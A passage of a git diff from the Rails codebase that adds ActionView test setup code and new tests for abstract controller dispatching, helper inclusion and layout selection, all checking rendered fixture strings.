+ActiveSupport::Dependencies.hook!
+
+Thread.abort_on_exception = true
+
+# Show backtraces for deprecated behavior for quicker cleanup.
+ActiveSupport::Deprecation.debug = true
+
+# Disable available locale checks to avoid warnings running the test suite.
+I18n.enforce_available_locales = false
+
+# Register danish language for testing
+I18n.backend.store_translations "da", {}
+I18n.backend.store_translations "pt-BR", {}
+ORIGINAL_LOCALES = I18n.available_locales.map(&:to_s).sort
+
+FIXTURE_LOAD_PATH = File.expand_path("fixtures", __dir__)
+
+module RenderERBUtils
+  def view
+    @view ||= begin
+      path = ActionView::FileSystemResolver.new(FIXTURE_LOAD_PATH)
+      view_paths = ActionView::PathSet.new([path])
+      ActionView::Base.new(view_paths)
+    end
+  end
+
+  def render_erb(string)
+    @virtual_path = nil
+
+    template = ActionView::Template.new(
+      string.strip,
+      "test template",
+      ActionView::Template::Handlers::ERB,
+      {})
+
+    template.render(self, {}).strip
+  end
+end
+
+SharedTestRoutes = ActionDispatch::Routing::RouteSet.new
+
+module ActionDispatch
+  module SharedRoutes
+    def before_setup
+      @routes = SharedTestRoutes
+      super
+    end
+  end
+
+  # Hold off drawing routes until all the possible controller classes
+  # have been loaded.
+  module DrawOnce
+    class << self
+      attr_accessor :drew
+    end
+    self.drew = false
+
+    def before_setup
+      super
+      return if DrawOnce.drew
+
+      ActiveSupport::Deprecation.silence do
+        SharedTestRoutes.draw do
+          get ":controller(/:action)"
+        end
+
+        ActionDispatch::IntegrationTest.app.routes.draw do
+          get ":controller(/:action)"
+        end
+      end
+
+      DrawOnce.drew = true
+    end
+  end
+end
+
+module ActiveSupport
+  class TestCase
+    include ActionDispatch::DrawOnce
+  end
+end
+
+class RoutedRackApp
+  attr_reader :routes
+
+  def initialize(routes, &blk)
+    @routes = routes
+    @stack = ActionDispatch::MiddlewareStack.new(&blk).build(@routes)
+  end
+
+  def call(env)
+    @stack.call(env)
+  end
+end
+
+class BasicController
+  attr_accessor :request
+
+  def config
+    @config ||= ActiveSupport::InheritableOptions.new(ActionController::Base.config).tap do |config|
+      # VIEW TODO: View tests should not require a controller
+      public_dir = File.expand_path("fixtures/public", __dir__)
+      config.assets_dir = public_dir
+      config.javascripts_dir = "#{public_dir}/javascripts"
+      config.stylesheets_dir = "#{public_dir}/stylesheets"
+      config.assets          = ActiveSupport::InheritableOptions.new(prefix: "assets")
+      config
+    end
+  end
+end
+
+class ActionDispatch::IntegrationTest < ActiveSupport::TestCase
+  include ActionDispatch::SharedRoutes
+
+  def self.build_app(routes = nil)
+    RoutedRackApp.new(routes || ActionDispatch::Routing::RouteSet.new) do |middleware|
+      middleware.use ActionDispatch::ShowExceptions, ActionDispatch::PublicExceptions.new("#{FIXTURE_LOAD_PATH}/public")
+      middleware.use ActionDispatch::DebugExceptions
+      middleware.use ActionDispatch::Callbacks
+      middleware.use ActionDispatch::Cookies
+      middleware.use ActionDispatch::Flash
+      middleware.use Rack::Head
+      yield(middleware) if block_given?
+    end
+  end
+
+  self.app = build_app
+
+  # Stub Rails dispatcher so it does not get controller references and
+  # simply return the controller#action as Rack::Body.
+  class StubDispatcher < ::ActionDispatch::Routing::RouteSet::Dispatcher
+    private
+      def controller_reference(controller_param)
+        controller_param
+      end
+
+      def dispatch(controller, action, env)
+        [200, { "Content-Type" => "text/html" }, ["#{controller}##{action}"]]
+      end
+  end
+
+  def self.stub_controllers
+    old_dispatcher = ActionDispatch::Routing::RouteSet::Dispatcher
+    ActionDispatch::Routing::RouteSet.module_eval { remove_const :Dispatcher }
+    ActionDispatch::Routing::RouteSet.module_eval { const_set :Dispatcher, StubDispatcher }
+    yield ActionDispatch::Routing::RouteSet.new
+  ensure
+    ActionDispatch::Routing::RouteSet.module_eval { remove_const :Dispatcher }
+    ActionDispatch::Routing::RouteSet.module_eval { const_set :Dispatcher, old_dispatcher }
+  end
+
+  def with_routing(&block)
+    temporary_routes = ActionDispatch::Routing::RouteSet.new
+    old_app, self.class.app = self.class.app, self.class.build_app(temporary_routes)
+    old_routes = SharedTestRoutes
+    silence_warnings { Object.const_set(:SharedTestRoutes, temporary_routes) }
+
+    yield temporary_routes
+  ensure
+    self.class.app = old_app
+    silence_warnings { Object.const_set(:SharedTestRoutes, old_routes) }
+  end
+
+  def with_autoload_path(path)
+    path = File.join(File.expand_path("fixtures", __dir__), path)
+    if ActiveSupport::Dependencies.autoload_paths.include?(path)
+      yield
+    else
+      begin
+        ActiveSupport::Dependencies.autoload_paths << path
+        yield
+      ensure
+        ActiveSupport::Dependencies.autoload_paths.reject! { |p| p == path }
+        ActiveSupport::Dependencies.clear
+      end
+    end
+  end
+end
+
+ActionView::RoutingUrlFor.include(ActionDispatch::Routing::UrlFor)
+
+module ActionController
+  class Base
+    # This stub emulates the Railtie including the URL helpers from a Rails application
+    include SharedTestRoutes.url_helpers
+    include SharedTestRoutes.mounted_helpers
+
+    self.view_paths = FIXTURE_LOAD_PATH
+
+    def self.test_routes(&block)
+      routes = ActionDispatch::Routing::RouteSet.new
+      routes.draw(&block)
+      include routes.url_helpers
+    end
+  end
+
+  class TestCase
+    include ActionDispatch::TestProcess
+    include ActionDispatch::SharedRoutes
+  end
+end
+
+module ActionView
+  class TestCase
+    # Must repeat the setup because AV::TestCase is a duplication
+    # of AC::TestCase
+    include ActionDispatch::SharedRoutes
+  end
+end
+
+class Workshop
+  extend ActiveModel::Naming
+  include ActiveModel::Conversion
+  attr_accessor :id
+
+  def initialize(id)
+    @id = id
+  end
+
+  def persisted?
+    id.present?
+  end
+
+  def to_s
+    id.to_s
+  end
+end
+
+module ActionDispatch
+  class DebugExceptions
+    private
+      remove_method :stderr_logger
+      # Silence logger
+      def stderr_logger
+        nil
+      end
+  end
+end
+
+class ActiveSupport::TestCase
+  include ActiveSupport::Testing::MethodCallAssertions
+
+  # Skips the current run on Rubinius using Minitest::Assertions#skip
+  private def rubinius_skip(message = "")
+    skip message if RUBY_ENGINE == "rbx"
+  end
+  # Skips the current run on JRuby using Minitest::Assertions#skip
+  private def jruby_skip(message = "")
+    skip message if defined?(JRUBY_VERSION)
+  end
+end
diff --git a/actionview/test/actionpack/abstract/abstract_controller_test.rb b/actionview/test/actionpack/abstract/abstract_controller_test.rb
new file mode 100644
index 0000000000..2bf2ddcc70
--- /dev/null
+++ b/actionview/test/actionpack/abstract/abstract_controller_test.rb
@@ -0,0 +1,292 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+require "set"
+
+module AbstractController
+  module Testing
+    # Test basic dispatching.
+    # ====
+    # * Call process
+    # * Test that the response_body is set correctly
+    class SimpleController < AbstractController::Base
+    end
+
+    class Me < SimpleController
+      def index
+        self.response_body = "Hello world"
+        "Something else"
+      end
+    end
+
+    class TestBasic < ActiveSupport::TestCase
+      test "dispatching works" do
+        controller = Me.new
+        controller.process(:index)
+        assert_equal "Hello world", controller.response_body
+      end
+    end
+
+    # Test Render mixin
+    # ====
+    class RenderingController < AbstractController::Base
+      include AbstractController::Rendering
+      include ActionView::Rendering
+
+      def _prefixes
+        []
+      end
+
+      def render(options = {})
+        if options.is_a?(String)
+          options = { _template_name: options }
+        end
+        super
+      end
+
+      append_view_path File.expand_path("views", __dir__)
+    end
+
+    class Me2 < RenderingController
+      def index
+        render "index.erb"
+      end
+
+      def index_to_string
+        self.response_body = render_to_string "index"
+      end
+
+      def action_with_ivars
+        @my_ivar = "Hello"
+        render "action_with_ivars.erb"
+      end
+
+      def naked_render
+        render
+      end
+
+      def rendering_to_body
+        self.response_body = render_to_body template: "naked_render"
+      end
+
+      def rendering_to_string
+        self.response_body = render_to_string template: "naked_render"
+      end
+    end
+
+    class TestRenderingController < ActiveSupport::TestCase
+      def setup
+        @controller = Me2.new
+      end
+
+      test "rendering templates works" do
+        @controller.process(:index)
+        assert_equal "Hello from index.erb", @controller.response_body
+      end
+
+      test "render_to_string works with a String as an argument" do
+        @controller.process(:index_to_string)
+        assert_equal "Hello from index.erb", @controller.response_body
+      end
+
+      test "rendering passes ivars to the view" do
+        @controller.process(:action_with_ivars)
+        assert_equal "Hello from index_with_ivars.erb", @controller.response_body
+      end
+
+      test "rendering with no template name" do
+        @controller.process(:naked_render)
+        assert_equal "Hello from naked_render.erb", @controller.response_body
+      end
+
+      test "rendering to a rack body" do
+        @controller.process(:rendering_to_body)
+        assert_equal "Hello from naked_render.erb", @controller.response_body
+      end
+
+      test "rendering to a string" do
+        @controller.process(:rendering_to_string)
+        assert_equal "Hello from naked_render.erb", @controller.response_body
+      end
+    end
+
+    # Test rendering with prefixes
+    # ====
+    # * self._prefix is used when defined
+    class PrefixedViews < RenderingController
+      private
+        def self.prefix
+          name.underscore
+        end
+
+        def _prefixes
+          [self.class.prefix]
+        end
+    end
+
+    class Me3 < PrefixedViews
+      def index
+        render
+      end
+
+      def formatted
+        self.formats = [:html]
+        render
+      end
+    end
+
+    class TestPrefixedViews < ActiveSupport::TestCase
+      def setup
+        @controller = Me3.new
+      end
+
+      test "templates are located inside their 'prefix' folder" do
+        @controller.process(:index)
+        assert_equal "Hello from me3/index.erb", @controller.response_body
+      end
+
+      test "templates included their format" do
+        @controller.process(:formatted)
+        assert_equal "Hello from me3/formatted.html.erb", @controller.response_body
+      end
+    end
+
+    class OverridingLocalPrefixes < AbstractController::Base
+      include AbstractController::Rendering
+      include ActionView::Rendering
+      append_view_path File.expand_path("views", __dir__)
+
+      def index
+        render
+      end
+
+      def self.local_prefixes
+        # this would usually return "abstract_controller/testing/overriding_local_prefixes"
+        super + ["abstract_controller/testing/me3"]
+      end
+
+      class Inheriting < self
+      end
+    end
+
+    class OverridingLocalPrefixesTest < ActiveSupport::TestCase
+      test "overriding .local_prefixes adds prefix" do
+        @controller = OverridingLocalPrefixes.new
+        @controller.process(:index)
+        assert_equal "Hello from me3/index.erb", @controller.response_body
+      end
+
+      test ".local_prefixes is inherited" do
+        @controller = OverridingLocalPrefixes::Inheriting.new
+        @controller.process(:index)
+        assert_equal "Hello from me3/index.erb", @controller.response_body
+      end
+    end
+
+    # Test rendering with layouts
+    # ====
+    # self._layout is used when defined
+    class WithLayouts < PrefixedViews
+      include ActionView::Layouts
+
+      private
+        def self.layout(formats)
+          find_template(name.underscore, { formats: formats }, _prefixes: ["layouts"])
+        rescue ActionView::MissingTemplate
+          begin
+            find_template("application", { formats: formats }, _prefixes: ["layouts"])
+          rescue ActionView::MissingTemplate
+          end
+        end
+
+        def render_to_body(options = {})
+          options[:_layout] = options[:layout] || _default_layout({})
+          super
+        end
+    end
+
+    class Me4 < WithLayouts
+      def index
+        render
+      end
+    end
+
+    class TestLayouts < ActiveSupport::TestCase
+      test "layouts are included" do
+        controller = Me4.new
+        controller.process(:index)
+        assert_equal "Me4 Enter : Hello from me4/index.erb : Exit", controller.response_body
+      end
+    end
+
+    # respond_to_action?(action_name)
+    # ====
+    # * A method can be used as an action only if this method
+    #   returns true when passed the method name as an argument
+    # * Defaults to true in AbstractController
+    class DefaultRespondToActionController < AbstractController::Base
+      def index() self.response_body = "success" end
+    end
+
+    class ActionMissingRespondToActionController < AbstractController::Base
+    # No actions
+    private
+      def action_missing(action_name)
+        self.response_body = "success"
+      end
+    end
+
+    class RespondToActionController < AbstractController::Base;
+      def index() self.response_body = "success" end
+
+      def fail()  self.response_body = "fail"    end
+
+    private
+
+      def method_for_action(action_name)
+        action_name.to_s != "fail" && action_name
+      end
+    end
+
+    class TestRespondToAction < ActiveSupport::TestCase
+      def assert_dispatch(klass, body = "success", action = :index)
+        controller = klass.new
+        controller.process(action)
+        assert_equal body, controller.response_body
+      end
+
+      test "an arbitrary method is available as an action by default" do
+        assert_dispatch DefaultRespondToActionController, "success", :index
+      end
+
+      test "raises ActionNotFound when method does not exist and action_missing is not defined" do
+        assert_raise(ActionNotFound) { DefaultRespondToActionController.new.process(:fail) }
+      end
+
+      test "dispatches to action_missing when method does not exist and action_missing is defined" do
+        assert_dispatch ActionMissingRespondToActionController, "success", :ohai
+      end
+
+      test "a method is available as an action if method_for_action returns true" do
+        assert_dispatch RespondToActionController, "success", :index
+      end
+
+      test "raises ActionNotFound if method is defined but method_for_action returns false" do
+        assert_raise(ActionNotFound) { RespondToActionController.new.process(:fail) }
+      end
+    end
+
+    class Me6 < AbstractController::Base
+      action_methods
+
+      def index
+      end
+    end
+
+    class TestActionMethodsReloading < ActiveSupport::TestCase
+      test "action_methods should be reloaded after defining a new method" do
+        assert_equal Set.new(["index"]), Me6.action_methods
+      end
+    end
+  end
+end
diff --git a/actionview/test/actionpack/abstract/helper_test.rb b/actionview/test/actionpack/abstract/helper_test.rb
new file mode 100644
index 0000000000..480ff60ba2
--- /dev/null
+++ b/actionview/test/actionpack/abstract/helper_test.rb
@@ -0,0 +1,128 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+
+ActionController::Base.helpers_path = File.expand_path("../../fixtures/helpers", __dir__)
+
+module AbstractController
+  module Testing
+    class ControllerWithHelpers < AbstractController::Base
+      include AbstractController::Helpers
+      include AbstractController::Rendering
+      include ActionView::Rendering
+
+      def with_module
+        render inline: "Module <%= included_method %>"
+      end
+    end
+
+    module HelperyTest
+      def included_method
+        "Included"
+      end
+    end
+
+    class AbstractHelpers < ControllerWithHelpers
+      helper(HelperyTest) do
+        def helpery_test
+          "World"
+        end
+      end
+
+      helper :abc
+
+      def with_block
+        render inline: "Hello <%= helpery_test %>"
+      end
+
+      def with_symbol
+        render inline: "I respond to bare_a: <%= respond_to?(:bare_a) %>"
+      end
+    end
+
+    class ::HelperyTestController < AbstractHelpers
+      clear_helpers
+    end
+
+    class AbstractHelpersBlock < ControllerWithHelpers
+      helper do
+        include AbstractController::Testing::HelperyTest
+      end
+    end
+
+    class AbstractInvalidHelpers < AbstractHelpers
+      include ActionController::Helpers
+
+      path = File.expand_path("../../fixtures/helpers_missing", __dir__)
+      $:.unshift(path)
+      self.helpers_path = path
+    end
+
+    class TestHelpers < ActiveSupport::TestCase
+      def setup
+        @controller = AbstractHelpers.new
+      end
+
+      def test_helpers_with_block
+        @controller.process(:with_block)
+        assert_equal "Hello World", @controller.response_body
+      end
+
+      def test_helpers_with_module
+        @controller.process(:with_module)
+        assert_equal "Module Included", @controller.response_body
+      end
+
+      def test_helpers_with_symbol
+        @controller.process(:with_symbol)
+        assert_equal "I respond to bare_a: true", @controller.response_body
+      end
+
+      def test_declare_missing_helper
+        e = assert_raise AbstractController::Helpers::MissingHelperError do
+          AbstractHelpers.helper :missing
+        end
+        assert_equal "helpers/missing_helper.rb", e.path
+      end
+
+      def test_helpers_with_module_through_block
+        @controller = AbstractHelpersBlock.new
+        @controller.process(:with_module)
+        assert_equal "Module Included", @controller.response_body
+      end
+    end
+
+    class ClearHelpersTest < ActiveSupport::TestCase
+      def setup
+        @controller = HelperyTestController.new
+      end
+
+      def test_clears_up_previous_helpers
+        @controller.process(:with_symbol)
+        assert_equal "I respond to bare_a: false", @controller.response_body
+      end
+
+      def test_includes_controller_default_helper
+        @controller.process(:with_block)
+        assert_equal "Hello Default", @controller.response_body
+      end
+    end
+
+    class InvalidHelpersTest < ActiveSupport::TestCase
+      def test_controller_raise_error_about_real_require_problem
+        e = assert_raise(LoadError) { AbstractInvalidHelpers.helper(:invalid_require) }
+        assert_equal "No such file to load -- very_invalid_file_name.rb", e.message
+      end
+
+      def test_controller_raise_error_about_missing_helper
+        e = assert_raise(AbstractController::Helpers::MissingHelperError) { AbstractInvalidHelpers.helper(:missing) }
+        assert_equal "Missing helper file helpers/missing_helper.rb", e.message
+      end
+
+      def test_missing_helper_error_has_the_right_path
+        e = assert_raise(AbstractController::Helpers::MissingHelperError) { AbstractInvalidHelpers.helper(:missing) }
+        assert_equal "helpers/missing_helper.rb", e.path
+      end
+    end
+  end
+end
diff --git a/actionview/test/actionpack/abstract/layouts_test.rb b/actionview/test/actionpack/abstract/layouts_test.rb
new file mode 100644
index 0000000000..1146e6f64b
--- /dev/null
+++ b/actionview/test/actionpack/abstract/layouts_test.rb
@@ -0,0 +1,568 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+
+module AbstractControllerTests
+  module Layouts
+    # Base controller for these tests
+    class Base < AbstractController::Base
+      include AbstractController::Rendering
+      include ActionView::Rendering
+      include ActionView::Layouts
+
+      abstract!
+
+      self.view_paths = [ActionView::FixtureResolver.new(
+        "some/template.erb"             => "hello <%= foo %> bar",
+        "layouts/hello.erb"             => "With String <%= yield %>",
+        "layouts/hello_locals.erb"      => "With String <%= yield %>",
+        "layouts/hello_override.erb"    => "With Override <%= yield %>",
+        "layouts/overwrite.erb"         => "Overwrite <%= yield %>",
+        "layouts/with_false_layout.erb" => "False Layout <%= yield %>",
+        "abstract_controller_tests/layouts/with_string_implied_child.erb" =>
+                                           "With Implied <%= yield %>",
+        "abstract_controller_tests/layouts/with_grand_child_of_implied.erb" =>
+                                           "With Grand Child <%= yield %>"
+
+      )]
+    end
+
+    class Blank < Base
+      self.view_paths = []
+
+      def index
+        render template: ActionView::Template::Text.new("Hello blank!")
+      end
+    end
+
+    class WithStringLocals < Base
+      layout "hello_locals"
+
+      def index
+        render template: "some/template", locals: { foo: "less than 3" }
+      end
+    end
+
+    class WithString < Base
+      layout "hello"
+
+      def index
+        render template: ActionView::Template::Text.new("Hello string!")
+      end
+
+      def action_has_layout_false
+        render template: ActionView::Template::Text.new("Hello string!")
+      end
+
+      def overwrite_default
+        render template: ActionView::Template::Text.new("Hello string!"), layout: :default
+      end
+
+      def overwrite_false
+        render template: ActionView::Template::Text.new("Hello string!"), layout: false
+      end
+
+      def overwrite_string
+        render template: ActionView::Template::Text.new("Hello string!"), layout: "overwrite"
+      end
+
+      def overwrite_skip
+        render plain: "Hello text!"
+      end
+    end
+
+    class WithStringChild < WithString
+    end
+
+    class WithStringOverriddenChild < WithString
+      layout "hello_override"
+    end
+
+    class WithStringImpliedChild < WithString
+      layout nil
+    end
+
+    class WithChildOfImplied < WithStringImpliedChild
+    end
+
+    class WithGrandChildOfImplied < WithStringImpliedChild
+      layout nil
+    end
+
+    class WithProc < Base
+      layout proc { "overwrite" }
+
+      def index
+        render template: ActionView::Template::Text.new("Hello proc!")
+      end
+    end
+
+    class WithProcReturningNil < WithString
+      layout proc { nil }
+
+      def index
+        render template: ActionView::Template::Text.new("Hello nil!")
+      end
+    end
+
+    class WithProcReturningFalse < WithString
+      layout proc { false }
+
+      def index
+        render template: ActionView::Template::Text.new("Hello false!")
+      end
+    end
+
+    class WithZeroArityProc < Base
+      layout proc { "overwrite" }
+
+      def index
+        render template: ActionView::Template::Text.new("Hello zero arity proc!")
+      end
+    end
+
+    class WithProcInContextOfInstance < Base
+      def an_instance_method; end
+
+      layout proc {
+        break unless respond_to? :an_instance_method
+        "overwrite"
+      }
+
+      def index
+        render template: ActionView::Template::Text.new("Hello again zero arity proc!")
+      end
+    end
+
+    class WithSymbol < Base
+      layout :hello
+
+      def index
+        render template: ActionView::Template::Text.new("Hello symbol!")
+      end
+    private
+      def hello
+        "overwrite"
+      end
+    end
+
+    class WithSymbolReturningNil < Base
+      layout :nilz
+
+      def index
+        render template: ActionView::Template::Text.new("Hello nilz!")
+      end
+
+      def nilz() end
+    end
+
+    class WithSymbolReturningObj < Base
+      layout :objekt
+
+      def index
+        render template: ActionView::Template::Text.new("Hello nilz!")
+      end
+
+      def objekt
+        Object.new
+      end
+    end
+
+    class WithSymbolAndNoMethod < Base
+      layout :no_method
+
+      def index
+        render template: ActionView::Template::Text.new("Hello boom!")
+      end
+    end
+
+    class WithMissingLayout < Base
+      layout "missing"
+
+      def index
+        render template: ActionView::Template::Text.new("Hello missing!")
+      end
+    end
+
+    class WithFalseLayout < Base
+      layout false
+
+      def index
+        render template: ActionView::Template::Text.new("Hello false!")
+      end
+    end
+
+    class WithNilLayout < Base
+      layout nil
+
+      def index
+        render template: ActionView::Template::Text.new("Hello nil!")
+      end
+    end
+
+    class WithOnlyConditional < WithStringImpliedChild
+      layout "overwrite", only: :show
+
+      def index
+        render template: ActionView::Template::Text.new("Hello index!")
+      end
+
+      def show
+        render template: ActionView::Template::Text.new("Hello show!")
+      end
+    end
+
+    class WithOnlyConditionalFlipped < WithOnlyConditional
+      layout "hello_override", only: :index
+    end
+
+    class WithOnlyConditionalFlippedAndInheriting < WithOnlyConditional
+      layout nil, only: :index
+    end
+
+    class WithExceptConditional < WithStringImpliedChild
+      layout "overwrite", except: :show
+
+      def index
+        render template: ActionView::Template::Text.new("Hello index!")
+      end
+
+      def show
+        render template: ActionView::Template::Text.new("Hello show!")
+      end
+    end
+
+    class AbstractWithString < Base
+      layout "hello"
+      abstract!
+    end
+
+    class AbstractWithStringChild < AbstractWithString
+      def index
+        render template: ActionView::Template::Text.new("Hello abstract child!")
+      end
+    end
+
+    class AbstractWithStringChildDefaultsToInherited < AbstractWithString
+      layout nil
+
+      def index
+        render template: ActionView::Template::Text.new("Hello abstract child!")
+      end
+    end
+
+    class WithConditionalOverride < WithString
+      layout "overwrite", only: :overwritten
+
+      def non_overwritten
+        render template: ActionView::Template::Text.new("Hello non overwritten!")
+      end
+
+      def overwritten
+        render template: ActionView::Template::Text.new("Hello overwritten!")
+      end
+    end
+
+    class WithConditionalOverrideFlipped < WithConditionalOverride
+      layout "hello_override", only: :non_overwritten
+    end
+
+    class WithConditionalOverrideFlippedAndInheriting < WithConditionalOverride
+      layout nil, only: :non_overwritten
+    end
+
+    class TestBase < ActiveSupport::TestCase
+      test "when no layout is specified, and no default is available, render without a layout" do
+        controller = Blank.new
+        controller.process(:index)
+        assert_equal "Hello blank!", controller.response_body
+      end
+
+      test "with locals" do
+        controller = WithStringLocals.new
+        controller.process(:index)
+        assert_equal "With String hello less than 3 bar", controller.response_body
+      end
+
+      test "cache should not grow when locals change for a string template" do
+        cache = WithString.view_paths.paths.first.instance_variable_get(:@cache)
+
+        controller = WithString.new
+        controller.process(:index) # heat the cache
+
+        size = cache.size
+
+        10.times do |x|
+          controller = WithString.new
+          controller.define_singleton_method :index do
+            render template: ActionView::Template::Text.new("Hello string!"), locals: { :"x#{x}" => :omg }
+          end
+          controller.process(:index)
+        end
+
+        assert_equal size, cache.size
+      end
+
+      test "when layout is specified as a string, render with that layout" do
+        controller = WithString.new
+        controller.process(:index)
+        assert_equal "With String Hello string!", controller.response_body
+      end
+
+      test "when layout is overwritten by :default in render, render default layout" do
+        controller = WithString.new
+        controller.process(:overwrite_default)
+        assert_equal "With String Hello string!", controller.response_body
+      end
+
+      test "when layout is overwritten by string in render, render new layout" do
+        controller = WithString.new
+        controller.process(:overwrite_string)
+        assert_equal "Overwrite Hello string!", controller.response_body
+      end
+
+      test "when layout is overwritten by false in render, render no layout" do
+        controller = WithString.new
+        controller.process(:overwrite_false)
+        assert_equal "Hello string!", controller.response_body
+      end
+
+      test "when text is rendered, render no layout" do
+        controller = WithString.new
+        controller.process(:overwrite_skip)
+        assert_equal "Hello text!", controller.response_body
+      end
+
+      test "when layout is specified as a string, but the layout is missing, raise an exception" do
+        assert_raises(ActionView::MissingTemplate) { WithMissingLayout.new.process(:index) }
+      end
+
+      test "when layout is specified as false, do not use a layout" do
+        controller = WithFalseLayout.new
+        controller.process(:index)
+        assert_equal "Hello false!", controller.response_body
+      end
+
+      test "when layout is specified as nil, do not use a layout" do
+        controller = WithNilLayout.new
+        controller.process(:index)
+        assert_equal "Hello nil!", controller.response_body
+      end
+
+      test "when layout is specified as a proc, do not leak any methods into controller's action_methods" do
+        assert_equal Set.new(["index"]), WithProc.action_methods
+      end
+
+      test "when layout is specified as a proc, call it and use the layout returned" do
+        controller = WithProc.new
+        controller.process(:index)
+        assert_equal "Overwrite Hello proc!", controller.response_body
+      end
+
+      test "when layout is specified as a proc and the proc returns nil, use inherited layout" do
+        controller = WithProcReturningNil.new
+        controller.process(:index)
+        assert_equal "With String Hello nil!", controller.response_body
+      end
+
+      test "when layout is specified as a proc and the proc returns false, use no layout instead of inherited layout" do
+        controller = WithProcReturningFalse.new
+        controller.process(:index)
+        assert_equal "Hello false!", controller.response_body
+      end
+
+      test "when layout is specified as a proc without parameters it works just the same" do
+        controller = WithZeroArityProc.new
+        controller.process(:index)
+        assert_equal "Overwrite Hello zero arity proc!", controller.response_body
+      end
+
+      test "when layout is specified as a proc without parameters the block is evaluated in the context of an instance" do
+        controller = WithProcInContextOfInstance.new
+        controller.process(:index)
+        assert_equal "Overwrite Hello again zero arity proc!", controller.response_body
+      end
+
+      test "when layout is specified as a symbol, call the requested method and use the layout returned" do
+        controller = WithSymbol.new
+        controller.process(:index)
+        assert_equal "Overwrite Hello symbol!", controller.response_body
+      end
+
+      test "when layout is specified as a symbol and the method returns nil, don't use a layout" do
+        controller = WithSymbolReturningNil.new
+        controller.process(:index)
+        assert_equal "Hello nilz!", controller.response_body
+      end
+
+      test "when the layout is specified as a symbol and the method doesn't exist, raise an exception" do
+        assert_raises(NameError) { WithSymbolAndNoMethod.new.process(:index) }
+      end
+
+      test "when the layout is specified as a symbol and the method returns something besides a string/false/nil, raise an exception" do
+        assert_raises(ArgumentError) { WithSymbolReturningObj.new.process(:index) }
+      end
+
+      test "when a child controller does not have a layout, use the parent controller layout" do
+        controller = WithStringChild.new
+        controller.process(:index)
+        assert_equal "With String Hello string!", controller.response_body
+      end
+
+      test "when a child controller has specified a layout, use that layout and not the parent controller layout" do
+        controller = WithStringOverriddenChild.new
+        controller.process(:index)
+        assert_equal "With Override Hello string!", controller.response_body
+      end
+
+      test "when a child controller has an implied layout, use that layout and not the parent controller layout" do
+        controller = WithStringImpliedChild.new
+        controller.process(:index)
+        assert_equal "With Implied Hello string!", controller.response_body
+      end
+
+      test "when a grandchild has no layout specified, the child has an implied layout, and the " \
+        "parent has specified a layout, use the child controller layout" do
+        controller = WithChildOfImplied.new
+        controller.process(:index)
+        assert_equal "With Implied Hello string!", controller.response_body
+      end
+
+      test "when a grandchild has nil layout specified, the child has an implied layout, and the " \
+        "parent has specified a layout, use the grand child controller layout" do
+        controller = WithGrandChildOfImplied.new
+        controller.process(:index)
+        assert_equal "With Grand Child Hello string!", controller.response_body
+      end
+
+      test "a child inherits layout from abstract controller" do
+        controller = AbstractWithStringChild.new
+        controller.process(:index)
+        assert_equal "With String Hello abstract child!", controller.response_body
+      end
+
+      test "a child inherits layout from abstract controller2" do
+        controller = AbstractWithStringChildDefaultsToInherited.new
+        controller.process(:index)
+        assert_equal "With String Hello abstract child!", controller.response_body
+      end
+
+      test "raises an exception when specifying layout true" do
+        assert_raises ArgumentError do
+          Object.class_eval do
+            class ::BadFailLayout < AbstractControllerTests::Layouts::Base
+              layout true
+            end
+          end
+        end
+      end
+
+      test "when specify an :only option which match current action name" do
+        controller = WithOnlyConditional.new
+        controller.process(:show)
+        assert_equal "Overwrite Hello show!", controller.response_body
+      end
+
+      test "when specify an :only option which does not match current action name" do
+        controller = WithOnlyConditional.new
+        controller.process(:index)
+        assert_equal "With Implied Hello index!", controller.response_body
+      end
+
+      test "when specify an :only option which match current action name and is opposite from parent controller" do
+        controller = WithOnlyConditionalFlipped.new
+        controller.process(:show)
+        assert_equal "With Implied Hello show!", controller.response_body
+      end
+
+      test "when specify an :only option which does not match current action name and is opposite from parent controller" do
+        controller = WithOnlyConditionalFlipped.new
+        controller.process(:index)
+        assert_equal "With Override Hello index!", controller.response_body
+      end
+
+      test "when specify to inherit and an :only option which match current action name and is opposite from parent controller" do
+        controller = WithOnlyConditionalFlippedAndInheriting.new
+        controller.process(:show)
+        assert_equal "With Implied Hello show!", controller.response_body
+      end
+
+      test "when specify to inherit and an :only option which does not match current action name and is opposite from parent controller" do
+        controller = WithOnlyConditionalFlippedAndInheriting.new
+        controller.process(:index)
+        assert_equal "Overwrite Hello index!", controller.response_body
+      end
+
+      test "when specify an :except option which match current action name" do
+        controller = WithExceptConditional.new
+        controller.process(:show)
+        assert_equal "With Implied Hello show!", controller.response_body
+      end
+
+      test "when specify an :except option which does not match current action name" do
+        controller = WithExceptConditional.new
+        controller.process(:index)
+        assert_equal "Overwrite Hello index!", controller.response_body
+      end
+
+      test "when specify overwrite as an :only option which match current action name" do
+        controller = WithConditionalOverride.new
+        controller.process(:overwritten)
+        assert_equal "Overwrite Hello overwritten!", controller.response_body
+      end
+
+      test "when specify overwrite as an :only option which does not match current action name" do
+        controller = WithConditionalOverride.new
+        controller.process(:non_overwritten)
+        assert_equal "Hello non overwritten!", controller.response_body
+      end
+
+      test "when specify overwrite as an :only option which match current action name and is opposite from parent controller" do
+        controller = WithConditionalOverrideFlipped.new
+        controller.process(:overwritten)
+        assert_equal "Hello overwritten!", controller.response_body
+      end
+
+      test "when specify overwrite as an :only option which does not match current action name and is opposite from parent controller" do
+        controller = WithConditionalOverrideFlipped.new
+        controller.process(:non_overwritten)
+        assert_equal "With Override Hello non overwritten!", controller.response_body
+      end
+
+      test "when specify to inherit and overwrite as an :only option which match current action name and is opposite from parent controller" do
+        controller = WithConditionalOverrideFlippedAndInheriting.new
+        controller.process(:overwritten)
+        assert_equal "Hello overwritten!", controller.response_body
+      end
+
+      test "when specify to inherit and overwrite as an :only option which does not match current action name and is opposite from parent controller" do
+        controller = WithConditionalOverrideFlippedAndInheriting.new
+        controller.process(:non_overwritten)
+        assert_equal "Overwrite Hello non overwritten!", controller.response_body
+      end
+
+      test "layout for anonymous controller" do
+        klass = Class.new(WithString) do
+          def index
+            render plain: "index", layout: true
+          end
+        end
+
+        controller = klass.new
+        controller.process(:index)
+        assert_equal "With String index", controller.response_body
+      end
+
+      test "when layout is disabled with #action_has_layout? returning false, render no layout" do
+        controller = WithString.new
+        controller.instance_eval do
+          def action_has_layout?
+            false
+          end
+        end
+        controller.process(:action_has_layout_false)
+        assert_equal "Hello string!", controller.response_body
+      end
+    end
+  end
+end
